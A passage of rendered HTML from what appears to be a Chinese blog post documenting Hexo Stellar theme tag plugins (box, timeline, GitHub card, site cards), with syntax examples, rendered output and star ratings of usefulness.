fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="8-box">8. box</h4><p>note &#x6807;&#x7B7E;&#x5C31;&#x662F;&#x4F7F;&#x7528; box &#x5BB9;&#x5668;&#x5B9E;&#x73B0;&#x7684;&#xFF0C;&#x5B83;&#x4EEC;&#x6837;&#x5F0F;&#x662F;&#x76F8;&#x540C;&#x7684;&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">{% box [title] [color:color] [child:codeblock/tabs] %}</span><br><span class="line">content</span><br><span class="line">{% endbox %}</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">{% box &#x8DDF; note &#x662F;&#x4E00;&#x6837;&#x7684; color:green child:tabs %}</span><br><span class="line">content</span><br><span class="line">{% endbox %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin colorful note" color="green"><div class="title"><strong><p>&#x8DDF; note &#x662F;&#x4E00;&#x6837;&#x7684;</p></strong></div><div class="body"><p>content</p></div></div><div class="tag-plugin quot"><p class="content" type="icon"><svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 512 512"><path d="M256 48C141.124 48 48 141.125 48 256s93.124 208 208 208c114.875 0 208-93.125 208-208S370.875 48 256 48zm-21.549 384.999c-39.464-4.726-75.978-22.392-104.519-50.932C96.258 348.393 77.714 303.622 77.714 256c0-42.87 15.036-83.424 42.601-115.659.71 8.517 2.463 17.648 2.014 24.175-1.64 23.795-3.988 38.687 9.94 58.762 5.426 7.819 6.759 19.028 9.4 28.078 2.583 8.854 12.902 13.498 20.019 18.953 14.359 11.009 28.096 23.805 43.322 33.494 10.049 6.395 16.326 9.576 13.383 21.839-2.367 9.862-3.028 15.937-8.13 24.723-1.557 2.681 5.877 19.918 8.351 22.392 7.498 7.497 14.938 14.375 23.111 21.125 12.671 10.469-1.231 24.072-7.274 39.117zm147.616-50.932c-25.633 25.633-57.699 42.486-92.556 49.081 4.94-12.216 13.736-23.07 21.895-29.362 7.097-5.476 15.986-16.009 19.693-24.352 3.704-8.332 8.611-15.555 13.577-23.217 7.065-10.899-17.419-27.336-25.353-30.781-17.854-7.751-31.294-18.21-47.161-29.375-11.305-7.954-34.257 4.154-47.02-1.417-17.481-7.633-31.883-20.896-47.078-32.339-15.68-11.809-14.922-25.576-14.922-42.997 12.282.453 29.754-3.399 37.908 6.478 2.573 3.117 11.42 17.042 17.342 12.094 4.838-4.043-3.585-20.249-5.212-24.059-5.005-11.715 11.404-16.284 19.803-24.228 10.96-10.364 34.47-26.618 32.612-34.047s-23.524-28.477-36.249-25.193c-1.907.492-18.697 18.097-21.941 20.859.086-5.746.172-11.491.26-17.237.055-3.628-6.768-7.352-6.451-9.692.8-5.914 17.262-16.647 21.357-21.357-2.869-1.793-12.659-10.202-15.622-8.968-7.174 2.99-15.276 5.05-22.45 8.039 0-2.488-.302-4.825-.662-7.133a176.585 176.585 0 0145.31-13.152l14.084 5.66 9.944 11.801 9.924 10.233 8.675 2.795 13.779-12.995L282 87.929V79.59c27.25 3.958 52.984 14.124 75.522 29.8-4.032.361-8.463.954-13.462 1.59-2.065-1.22-4.714-1.774-6.965-2.623 6.531 14.042 13.343 27.89 20.264 41.746 7.393 14.801 23.793 30.677 26.673 46.301 3.394 18.416 1.039 35.144 2.896 56.811 1.788 20.865 23.524 44.572 23.524 44.572s10.037 3.419 18.384 2.228c-7.781 30.783-23.733 59.014-46.769 82.052z" fill="currentColor"/></svg><span class="text">&#x5F69;&#x8272;&#x4EE3;&#x7801;&#x5757;</span><span class="empty"></span></p></div><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h3 id="&#x6570;&#x636E;&#x7C7B;&#x6807;&#x7B7E;">&#x6570;&#x636E;&#x7C7B;&#x6807;&#x7B7E;</h3><h4 id="1-timeline">1. timeline</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">{% timeline %}</span><br><span class="line">&lt;!-- node [timestamp 1] --&gt;</span><br><span class="line">thing 1</span><br><span class="line">&lt;!-- node [timestamp 2] --&gt;</span><br><span class="line">work 2</span><br><span class="line">&lt;!-- node [timestamp 3] --&gt;</span><br><span class="line">work 3</span><br><span class="line">{% endtimeline %}</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">{% timeline %}</span><br><span class="line">&lt;!-- node Mon Aug 26 20:24:58 2024 --&gt;</span><br><span class="line">today&apos;s work</span><br><span class="line">&lt;!-- node Mon Aug 26 20:31:58 2024 +0800 --&gt;</span><br><span class="line">yesterday&apos;s work</span><br><span class="line">&lt;!-- node Sun Aug 25 12:24:11 2024 +0800 --&gt;</span><br><span class="line">2 day ago&apos;s work</span><br><span class="line">&lt;!-- node on Feb 14 19:11:29 2022 &#xA0;--&gt;</span><br><span class="line">7 day ago&apos;s work</span><br><span class="line">{% endtimeline %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin timeline"><div class="timenode" index="0"><div class="header">Mon Aug 26 20:24:58 2024</div><div class="body fs14"><p>today&#x2019;s work</p></div></div><div class="timenode" index="1"><div class="header">Mon Aug 26 20:31:58 2024 +0800</div><div class="body fs14"><p>yesterday&#x2019;s work</p></div></div><div class="timenode" index="2"><div class="header">Sun Aug 25 12:24:11 2024 +0800</div><div class="body fs14"><p>2 day ago&#x2019;s work</p></div></div><div class="timenode" index="3"><div class="header">on Feb 14 19:11:29 2022</div><div class="body fs14"><p>7 day ago&#x2019;s work</p></div></div></div><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="2-github-card">2. github card</h4><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">{% ghcard user/repo [theme:xxx] %} or {% ghcard user %}</span><br><span class="line">example:</span><br><span class="line">&#xA0;{% ghcard xaoxuu %}</span><br><span class="line">&#xA0;{% ghcard xaoxuu/hexo-theme-stellar %}</span><br><span class="line">&#xA0;API: https://github.com/anuraghazra/github-readme-stats</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">{% ghcard xaoxuu %}</span><br><span class="line">{% ghcard xaoxuu/hexo-theme-stellar %}</span><br><span class="line">{% ghcard git/git %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin ghcard"><a class="ghcard" rel="external nofollow noopener noreferrer" href="https://github.com/xaoxuu"><img src="https://github-readme-stats.xaoxuu.com/api/?username=xaoxuu&amp;&amp;show_owner=true"></a></div><div class="tag-plugin ghcard"><a class="ghcard" rel="external nofollow noopener noreferrer" href="https://github.com/xaoxuu/hexo-theme-stellar"><img src="https://github-readme-stats.xaoxuu.com/api/pin/?username=xaoxuu&amp;repo=hexo-theme-stellar&amp;&amp;show_owner=true"></a></div><div class="tag-plugin ghcard"><a class="ghcard" rel="external nofollow noopener noreferrer" href="https://github.com/git/git"><img src="https://github-readme-stats.xaoxuu.com/api/pin/?username=git&amp;repo=git&amp;&amp;show_owner=true"></a></div><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span></p><hr><h4 id="3-sites">3. sites</h4><p>&#x53EF;&#x4EE5;&#x5728;&#x4EFB;&#x4F55;&#x4F4D;&#x7F6E;&#x63D2;&#x5165;&#x7F51;&#x7AD9;&#x5361;&#x7247;&#x7EC4;&#xFF0C;&#x652F;&#x6301;&#x9759;&#x6001;&#x6570;&#x636E;&#x548C;&#x52A8;&#x6001;&#x6570;&#x636E;&#xFF0C;&#x9759;&#x6001;&#x6570;&#x636E;&#x9700;&#x8981;&#x5199;&#x5728;&#x6570;&#x636E;&#x6587;&#x4EF6;&#x4E2D;&#xFF1A;</p><figure class="highlight yml"><figcaption><span>blog/source/_data/links/sites_design.yml</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="attr">title:</span> <span class="string">&#x6807;&#x9898;</span></span><br><span class="line">  <span class="attr">url:</span> <span class="string">https://</span></span><br><span class="line">  <span class="attr">cover:</span></span><br><span class="line">  <span class="attr">icon:</span></span><br><span class="line">  <span class="attr">description:</span></span><br></pre></td></tr></table></figure><p>&#x683C;&#x5F0F;&#xFF1A;</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">{% sites [group] [repo:owner/repo] [api:http] %}</span><br><span class="line">{% sites notion %}</span><br></pre></td></tr></table></figure><p>&#x5B9E;&#x73B0;&#xFF1A;</p><p>&#x5148;&#x5728; <code>source/_data/links/</code> &#x4E0B;&#x9762;&#x65B0;&#x5EFA;&#x4E24;&#x4E2A;&#x914D;&#x7F6E;&#x6587;&#x4EF6;&#xFF1A;</p><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="attr">title:</span> <span class="string">&#x82F1;&#x8BED;&#x7B14;&#x8BB0;</span></span><br><span class="line">  <span class="attr">url:</span> <span class="string">https://showy-piranha-c54.notion.site/47abacfec233476d9650e3ece0c66217?v=b332588fa9d94495a23ce19c4b602dcc</span></span><br><span class="line">  <span class="attr">cover:</span> <span class="string">/asset/banners/city_glitters.png</span></span><br><span class="line">  <span class="attr">icon:</span> <span class="string">/asset/icons/bookmark.svg</span></span><br><span class="line">  <span class="attr">description:</span> <span class="string">&#x7531;</span> <span class="string">Notion</span> <span class="string">&#x751F;&#x6210;&#xFF0C;&#x80FD;&#x4E0D;&#x80FD;&#x6253;&#x5F00;&#x770B;&#x8FD0;&#x6C14;&#x4E86;&#x3002;</span></span><br></pre></td></tr></table></figure><figure class="highlight yml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="attr">title:</span> <span class="string">&#x514D;&#x8D39;&#x56FE;&#x5E93;</span></span><br><span class="line">  <span class="attr">url:</span> <span class="string">https://unsplash.com/</span></span><br><span class="line">  <span class="attr">cover:</span> <span class="string">/asset/banners/021.JPG</span></span><br><span class="line">  <span class="attr">icon:</span> <span class="string">/asset/icons/bookmark.svg</span></span><br><span class="line">  <span class="attr">description:</span> <span class="string">The</span> <span class="string">internet&apos;s</span> <span class="string">source</span> <span class="string">for</span> <span class="string">visuals.</span></span><br></pre></td></tr></table></figure><p>&#x7136;&#x540E;&#x5728;&#x6B63;&#x6587;&#x91CC;&#x5F15;&#x7528;:</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">{% sites Notion %}</span><br><span class="line">{% sites Unsplash %}</span><br></pre></td></tr></table></figure><p>&#x6548;&#x679C;&#xFF1A;</p><div class="tag-plugin sites-wrap"><div class="grid-box"><div class="grid-cell site-card"><a class="card-link" target="_blank" rel="external nofollow noopener noreferrer" href="https://showy-piranha-c54.notion.site/47abacfec233476d9650e3ece0c66217?v=b332588fa9d94495a23ce19c4b602dcc"><img src="/posts/10dde778.htmlasset/banners/city_glitters.png" onerror="javascript:this.removeAttribute(&quot;data-src&quot;);this.src=&quot;https://gcore.jsdelivr.net/gh/cdn-x/placeholder@1.0.12/cover/76b86c0226ffd.svg&quot;;"><div class="info"><img src="/posts/10dde778.htmlasset/icons/bookmark.svg" onerror="javascript:this.removeAttribute(&quot;data-src&quot;);this.src=&quot;/asset/icons/bookmark.svg&quot;;"><span class="title">&#x82F1;&#x8BED;&#x7B14;&#x8BB0;</span><span class="desc">&#x7531; Notion &#x751F;&#x6210;&#xFF0C;&#x80FD;&#x4E0D;&#x80FD;&#x6253;&#x5F00;&#x770B;&#x8FD0;&#x6C14;&#x4E86;&#x3002;</span></div></a></div></div></div><div class="tag-plugin sites-wrap"><div class="grid-box"><div class="grid-cell site-card"><a class="card-link" target="_blank" rel="external nofollow noopener noreferrer" href="https://unsplash.com/"><img src="/posts/10dde778.htmlasset/banners/021.JPG" onerror="javascript:this.removeAttribute(&quot;data-src&quot;);this.src=&quot;https://gcore.jsdelivr.net/gh/cdn-x/placeholder@1.0.12/cover/76b86c0226ffd.svg&quot;;"><div class="info"><img src="/posts/10dde778.htmlasset/icons/bookmark.svg" onerror="javascript:this.removeAttribute(&quot;data-src&quot;);this.src=&quot;/asset/icons/bookmark.svg&quot;;"><span class="title">&#x514D;&#x8D39;&#x56FE;&#x5E93;</span><span class="desc">The internet&#x2019;s source for visuals.</span></div></a></div></div></div><p><mark>&#x6709;&#x7528;&#x6307;&#x6570;</mark>&#xFF1A;<span class="tag-plugin icon colorful" color="accent"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="#FFD700" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"/></svg></span> <span class="tag-plugin icon colorful" color="white"><svg aria-hidden="true" role="img" class="color-icon-primary" viewbox="0 0 16 16" width="1em" height="1em" fill="currentColor" style="user-select:none;overflow:visible"><path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 